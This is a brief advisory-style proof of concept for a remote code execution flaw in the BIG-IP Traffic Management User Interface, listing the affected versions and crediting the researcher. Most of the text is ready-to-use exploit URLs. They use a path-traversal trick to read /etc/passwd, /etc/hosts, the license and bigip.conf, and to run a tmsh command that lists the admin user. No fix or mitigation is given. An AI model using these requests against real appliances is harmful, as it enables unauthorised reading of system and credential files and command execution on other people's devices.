Summary

In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.

Credits: Mikhail Klyuchnikov of Positive Technologies

Proof of concept

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

DM: